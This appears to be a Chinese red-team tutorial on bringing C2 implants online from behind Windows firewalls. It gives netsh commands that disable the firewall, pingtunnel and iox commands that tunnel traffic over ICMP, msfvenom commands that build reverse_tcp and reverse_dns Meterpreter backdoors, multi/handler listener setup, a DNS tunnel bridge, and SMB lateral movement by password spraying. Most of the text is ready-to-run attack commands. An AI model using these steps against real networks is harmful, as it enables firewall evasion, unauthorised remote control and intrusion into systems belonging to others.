内网对抗-网络通讯篇&防火墙组策略&入站和出站规则&单层双层&C2正反向上线
关闭第一个防火墙:
第一个上线就走反向或者正向
第二个上线走反向(第二个防火墙阻止入站)
关闭第二个防火墙:
第一个上线就走反向(第一个防火墙禁止入站)
第二个上线走正向(第一个防火墙禁止入站)
双向防火墙上线方案(两个防火墙都禁止入站):
两个防火墙都开启,第一个上线走反向,
第二个上线,正向:第二台主机防火墙禁止入站,反向:第一台主机防火墙禁止入站
解决方法:
1、不是域的内网环境,可以通过Windows防火墙命令来关闭防火墙
参考:https://www.cnblogs.com/tomtellyou/p/16300557.html
查看当前防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
开启防火墙:netsh advfirewall set allprofiles state on
恢复初始防火墙设置:netsh advfirewall reset
启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
2、SMB协议(文件夹和打印机共享服务445端口)通讯上线(默认放行)
3、域的内网环境,利用协议(ICMP SSH dns)建立隧道
学隧道前先搞清楚
1、不是有互联网才叫出网
不仅仅是互联网连接
可以是内网到外网的任何形式连接
包括专线、VPN等合法连接方式
2、C2(CS、MSF)常见上线采用的协议
3、常见的协议层出网判断
TCP三次握手确认连接状态
ICMP echo请求/响应
DNS解析测试
HTTP响应状态码检查
常用的隧道技术:
利用各种隧道技术,以网络防火墙允许的协议,
绕过网络防火墙的封锁,实现访问被封锁的目标网络
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
场景:
A ping B 不通,B ping A通
A出不出网,B出不出网?
answer:A 不出网 B出网 A的出站策略ICMP被禁用
协议 判断命令
ICMP ping ip or domain
HTTP curl ip or domain
SSH ssh ip or domain
DNS nslookup domain
TCP telnet ip port
C2上线-开防火墙入站只80&出站只放ICMP:
ICMP 通过 PING 命令访问远程计算机,建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中,从而穿过防火墙,防火墙一般不会屏蔽 PING 数据包,实现不受限制的访问。
应用场景:80为入口权限点,ICMP为上线突破口
适用场景:目标入站正向被拦截,出站有ICMP出网
排查出网协议:curl nslookup ping等命令
攻击机kali:192.168.52.131
靶机win2016:192.168.52.135
先添加两个监听器一个监听靶机本地3333端口,一个监听kali的2222端口
生成可执行后门,上传到靶机上
靶机:pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.52.131 -t 192.168.52.131:2222 -tcp 1 -noprint 1 -nolog 1
kali:sudo ./pingtunnel -type server
执行6.exe
上线成功
MSF搭建ICMP隧道:
pingtunnel -type client -l :3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -o msf.exe
监听器配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3344
run
C2上线-开防火墙入站只80&出站只放DNS:
应用场景:80为入口权限点,DNS为上线突破口
适用场景:目标入站正向被拦截,出站有DNS出网
排查出网协议:curl nslookup ping等命令
首先在公网服务器配置域名解析
在服务器上启动服务端
配置监听器
生成exe后门木马
运行dns.exe
上线成功
MSF搭建dns隧道
使用方法
- 以git clone方式安装 https://github.com/defcon-russia/metasploit-framework
- 网上买个域名,越短越好,像msf.ws这种
- 购买个亚马逊EC2服务器套餐 (比如IP是1.2.3.4)
- 把NS记录和域名msf.ws及IP进行对应
- 把我们的DNS MSF Bridge部署到EC2服务器中运行
./dns_server.py --ipaddr 1.2.3.4 --domain msf.ws - 制作攻击载荷(Payload)
./msfvenom -p windows/meterpreter/reverse_dns DOMIAN=msf.ws RHOST=1.2.3.4 - 生成exploit
- 执行MSF控制
use exploit/multi/handler
set payload windows/meterpreter/reverse_dns
set DOMAIN msf.ws
set RHOST 1.2.3.4
run
- 针对目标机器执行exploit,稍等一会就会产生反弹连接
C2上线-SMB-开防火墙入站只445:
SMB一般在防火墙入站默认是开启的,判断目标端口是否开放
适用场景:防火墙放行的入口打不下利用放行的SMB移动获取权限
利用条件:密码喷射或已知口令的情况下直接正向SMB横向移动拿下
#后续穿透问题
我再这台机器上启动weblogic服务服务端口7001
这台只允许web入ICMP出
接收客户端传递的ICMP
kali:./pingtunnel -type server -noprint 1 -nolog 1 -key 000000
将本地4455转至5566端口
./iox proxy -l 4455 -l 5566
Web(192.168.52.135)
将本地2222的TCP封装ICMP给192.168.52.131:4455
pingtunnel -type client -l 127.0.0.1:2222 -s 192.168.52.131 -t 192.168.52.131:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000
建立SockS节点绑定3389端口:
iox.exe proxy -r 127.0.0.1:2222